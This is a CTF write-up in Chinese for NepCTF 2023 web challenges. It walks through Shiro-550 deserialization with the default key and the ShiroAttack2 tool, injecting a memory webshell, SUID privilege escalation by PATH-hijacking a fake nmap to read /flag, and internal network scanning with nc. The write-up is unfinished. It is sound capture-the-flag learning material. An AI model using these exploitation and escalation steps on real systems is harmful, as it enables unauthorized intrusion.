NepCTF-2023-web部分writeup

ez_java_checkin

题目来源

NepCTF2023-ez_java_checkin

考点

shiro550反序列化

题目内容

进入之后

弱口令admin admin登录管理员,发现rememberme字段,判断为shiro反序列化

管理员:

1
rememberme:MOTxEj+Cpb97nTWsgAl7OWPq7efd60ZYeSX9PUxlSDrcbbbrOFVXJUwlS2BvQ5iIiHhj2D162GgzUCkhL5AQ5Io++M0gBdfBqT9yHXSSgGn/LLvyZAoq/9wTNeB5txSBuEKe6nxY0NW0cpnkwguPd0jgQIHiM5PxTT/bAJFarV0QPkKVc8oJz94IUTZRUfV+7zii7LduVumSTKlO6lSTbkGys1m91kutnYW8q48+LPcQkEKBvShgBM8r+fNId87yy3mAHXGd0hQ0vEsyqnlziIGphrvw5qkbgfDCQ2oZPO/zQgosiQhZ24Sq55kDX7lmtEKp2Og+HTfR+snXiU3FE0NC/l8k/3gFNrXO1jpdgFgl56k2C/wd+lqfddXPUrT8i6SrkmIR4NZrNKRLL0xHm/shahhVSIw/tLGEiPtUSnt7X0OADQPrjIupxO37VzRAkBkedyDHP7iE8p7sxa8Si6r/OTZkUHgIOadq5MNNZlIsBQK8gZH3ecw7mYIsj+CaWrsA3NUa9neFraH6eGMW0w==

使用工具:

https://github.com/SummerSec/ShiroAttack2


呃呃环境没了,本地部署一下:

1
java -jar  ShiroSpring-0.0.1-SNAPSHOT.jar  --server.port=81

访问127.0.0.1:81


关于密钥,这个工具 密钥爆破不出来,实际上就是默认密钥

密钥:kPH+bIxk5D2deZiIxcaaaA==

利用链用工具爆破

直接用工具注内存马了

蚁剑连接的时候注意一下因为是java的所以是jsp连接不是PHP。


蚁剑连上之后发现没有权限读取flag,需要提权

使用 SUID 提权

参考:

https://www.anquanke.com/post/id/86979


有一个非预期:start.sh里面有flag,不需要提权。

独步天下

题目来源

NepCTF2023-独步天下-转生成为镜花水月中的王者+独步天下-破除虚妄_探见真实+独步天下-破除试炼_加冕成王

考点

SUID提权+内网渗透+反弹shell

独步天下-转生成为镜花水月中的王者

考点

hint:环境变量提权

题目

nc 连接

首先尝试SUID提权,查找有suid的

1
2
$ find / -user root -perm /4000 2>/tmp/err
/bin/nmap

flag 没权限读

有出网,无dns,本地有nmap

nmap有suid

利用nmap提权:

1
2
3
/tmp $ nmap -h
nmap -h
sh: ports-alive: not found

nmap应该不是正常nmap,会直接执行 ports-alive

进入/tmp目录修改环境变量:

1
2
3
4
5
/tmp $ echo $PATH
echo $PATH
/sbin:/usr/sbin:/bin:/usr/bin

export PATH=/tmp:$PATH

写入ports-alive

1
2
3
4
5
6
7
8
/tmp $ cat << EOF > ports-alive
cat << EOF > ports-alive
> #!/bin/sh
#!/bin/sh
> cat /flag
cat /flag
> EOF
EOF

注意还要执行权限

1
2
3
4
5
nmap -h
sh: ports-alive: Permission denied
/tmp $ chmod 777 ports-alive
chmod 777 ports-alive

在 /tmp 目录执行 nmap -h

1
2
3
4
/tmp $ nmap -h
nmap -h
假作真时真亦假,真作假时假亦真
flag{Everything_is_illusory}

独步天下-破除虚妄_探见真实

接上一题的环境

Hint ports-alive 修正后扫描网段 (ip范围0到100)用基础get包探测获取html echo -e "GET / HTTP/1.1\\r\\nHost: 192.168.200.1\\r\\n\\r\\n" nc xx xx

可以出网,刚开始想上传一个fscan扫描,结果扫出一个80端口然后内存不够fscan被杀了,就只能根据提示,修正nmap扫描。

先查看ip:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/tmp $ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
link/ether 52:54:00:12:34:56 brd ff:ff:ff:ff:ff:ff
inet 192.168.200.2/24 brd 192.168.200.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::5054:ff:fe12:3456/64 scope link
valid_lft forever preferred_lft forever
3: sit0@NONE: <NOARP> mtu 1480 qdisc noop qlen 1000
link/sit 0.0.0.0 brd 0.0.0.0

扫描 192.168.200.2/24 网段

发现一个端口

1
2
192.168.200.1:82

82 部署了一个上传服务,frp出来看看


后续有空再更新。。